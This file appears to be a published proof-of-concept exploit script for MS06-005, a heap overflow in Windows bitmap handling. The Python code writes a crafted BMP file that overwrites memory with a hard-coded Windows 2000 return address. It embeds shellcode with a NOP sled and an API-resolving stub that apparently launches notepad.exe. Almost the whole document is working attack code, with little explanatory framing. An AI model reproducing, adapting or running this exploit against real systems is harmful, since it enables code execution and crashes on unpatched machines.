redms06-005.py.txt

`# sploit creater by [email protected]  
# ms06-005 advisory proof of concept  
# heap overflow in wmf.dll @ 0x0035920a  
# denial of service, cuz we can't get this to play nice  
  
#shamelessly stolen from CANVAS code  
def intel_order(i):  
str=""  
a=chr(i % 256)  
i=i >> 8  
b=chr(i % 256)  
i=i >> 8  
c=chr(i % 256)  
i=i >> 8  
d=chr(i % 256)  
  
str+="%c%c%c%c" % (a,b,c,d)  
  
return str  
  
def stroverwrite(instring,overwritestring,offset):  
head=instring[:offset]  
#print head  
tail=instring[offset+len(overwritestring):]  
#print tail  
result=head+overwritestring+tail  
return result  
  
  
#options  
#SEH HAndle  
  
#anything with a call/jmp edi/ecx + 4 or more  
EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut  
DUMMY=0xccccccccL  
filename = "rbl4ck-06-005.bmp"  
  
header = "\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00"  
header += "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"  
header += "\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"  
header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC"  
  
c0de = "\x90" * 350  
c0de += "\xCD\x03"   
c0de += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C"  
c0de += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C"  
c0de += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B"  
c0de += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34"  
c0de += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74"  
c0de += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28"  
c0de += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B"  
c0de += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24"  
c0de += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A"  
c0de += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8"  
c0de += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B"  
c0de += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74"  
c0de += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01"  
#tag  
c0de += "0wn3dbyr3ds4nd"  
  
for on in range(256):  
c0de += intel_order(EIP-80)  
  
body = ""  
r=0x88888800L  
for on in range(235):  
r+=0x01L  
body += intel_order(r)  
  
  
body += c0de  
  
body = stroverwrite(body,intel_order(EIP-4),56)  
body = stroverwrite(body,intel_order(EIP),96)  
body = stroverwrite(body,intel_order(EIP),160)  
body = stroverwrite(body,intel_order(EIP-0x3c),708)  
body = stroverwrite(body,intel_order(EIP),828)  
body = stroverwrite(body,intel_order(EIP),868)  
body = stroverwrite(body,intel_order(EIP),936)  
#  
#here's our call eax+4  
body = stroverwrite(body,intel_order(EIP-4),948)  
#  
#  
body = stroverwrite(body,intel_order(EIP),300)  
  
print "MS06-005 Heap Overflow by redsand [at] blacksecurity.org"  
print "Writing filename " + filename + "..."  
  
try:   
fsock = open(filename, "wb+", 0)   
try:   
fsock.write(header + body );   
finally:   
fsock.close()  
except IOError:   
pass  
  
  
print "success."  
`